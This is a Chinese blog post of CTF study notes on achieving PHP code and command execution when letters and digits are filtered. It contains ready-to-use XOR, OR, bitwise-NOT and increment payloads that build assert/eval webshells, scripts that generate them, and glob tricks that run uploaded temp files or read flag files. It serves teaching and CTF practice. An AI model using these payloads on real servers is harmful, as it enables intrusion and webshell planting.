原文:https://www.yuque.com/ni4n/blogs/txgc9o
前言
在看命令执行的时候,看到了P神的两篇文章,是讲在数字和字母都被过滤的情况下如何突破限制实现RCE漏洞利用,这里做个笔记。
Demo
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
echo "hacker!!!";
}else{
eval($_GET['shell']);
}
?>
异或绕过
这里是利用了在php语言中,两个字符串执行异或操作后得到的还是一个字符串的特性。
异或脚本
valid = "!@$%^*(){}[];\'\",.<>/?-=_`~ " #可用字符
answer = "phpinfo" #欲用字符
tmp1,tmp2 = '',''
for c in answer:
for i in valid:
for j in valid:
if (ord(i)^ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2) #结果
所以第一种payload如下
?shell=$_="^@^@@[@"^".(.).=/";$_();
拿shell;
由于我是在php5版本下测试这里就直接用P神的payload了,如果是php7可构造为eval
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
第二种
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
或绕过
这里记录下羽师傅的一个脚本
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行php文件得到一个txt文件,然后运行python脚本即可
结果
[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
取反绕过
首先是汉字和取反方法
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如“和”{2}的结果是”\x8c”,其取反即为字母s:
脚本
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
payload
$__=('>'>'<')+('>'>'<'); //$__=2
$_=$__/$__; //$_=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); //$___=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); //$_____=_POST
$_=$$_____; //$_=$_post
$____($_[$__]); //assert($POST[2])
此处还利用了php弱类型特性,true为1,所以(‘>’>’<’)+(‘>’>’<’)==2
在用的时候需要进行一次url编码,同样是php7以下可用
?shell=%24__%3d(%27%3e%27%3e%27%3c%27)%2b(%27%3e%27%3e%27%3c%27)%3b%24_%3d%24__%2f%24__%3b%24____%3d%27%27%3b%24___%3d%22%e7%9e%b0%22%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e5%92%8c%22%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9a%84%22%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e5%8d%8a%22%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e5%a7%8b%22%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24_____%3d%27_%27%3b%24___%3d%22%e4%bf%af%22%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e7%9e%b0%22%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%22%e6%ac%a1%22%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%22%e7%ab%99%22%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24_%3d%24%24_____%3b%24____(%24_%5b%24__%5d)%3b
URL编码取反绕过
适用于php7以上版本
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。
生成payload
<?php
echo urlencode(~'phpinfo');
?>
poc
?shell=(~%8F%97%8F%96%91%99%90)();
执行命令
7.3也可用
?shell=(~%8C%86%8C%8B%9A%92)(~%D7%DD%88%97%90%9E%92%96%DD%D6);
拿shell
构造的脚本
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>
payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
但是经测试在7.1及以上版本就不能用了。
自增自减
php语言中’a’++=>’b’;数组的第一个字母即为A,而且在php中强制连接数组和字符串,驻足会转换为字符串,所以我们可以利用它得到所有字母。
这里直接贴P师傅的paylaod
适合php7.0.12及以下版本
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
使用时需要url编码一次
?shell=%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b
进阶
如果将$
和_
也给过滤了,而且在php5的环境下,那么上述的方法就用不了了呀。
此处就需要几个知识点
1.shell下可以用.执行任意脚本;也就是说该文件可以是任意文件,如txt
2.liunx文件名支持glob通配符代替
3.我们发送上传文件的POST包时,php会将我们的文件保存至临时文件夹下,默认文件名为/tmp/phpXXXXXX,文件后六个字符为随机大小写字母
4.通配符中*可以代替0个及以上任意字符?可以代表1个任意字符[^x]代表“这个位置不是字符x”而且glob支持[0-9]表示一个范围;而在ASCII表中,大写字母位于@与[之间,所以可以用[@-[]表示大写字母
5.<?=是echo()的别名用法,使用时需闭合前面标签
Demo
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
利用
先构造一个上传表单随便上传个文件,然后抓包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后修改文件内容为
#!/bin/sh
ls
构造payload为
?c=.+/???/????????[@-[]
成功
扩展
无字母命令执行
前置知识
/bin是系统的一些指令。bin为binary的简写主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。
/sbin一般是指超级用户指令。(system binary)主要放置一些系统管理的必备程式例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、 ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。
/usr/bin 是你在后期安装的一些软件的运行脚本。主要放置一些应用软体工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
/usr/sbin放置一些用户安装的系统管理的必备程式。例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等。
Demo
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
利用base64查看flag
?c=/???/????64 ????.???
///bin/base64 flag.php
利用bzip2压缩
?c=/???/???/????2 ????.???
///usr/bin/bzip2 flag.php
然后访问/flag.php.bz2下载
突破disable_function
当我们拿到webshell之后,该站利用disable_function禁用了很多函数,致使我们无法执行命令时,我们需要突破其限制;此时可以使用蚁剑的一个插件as_bypass_php_disable_functions
进行突破。
参考链接
继无字母数字的命令执行(ctfshow web入门 55)新姿势
[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)
Linux 基础知识 /bin,/sbin,/usr/sbin,/usr/bin 目录 区别详解
写在最后
这世间很多事情,细细研究都是极其美妙的。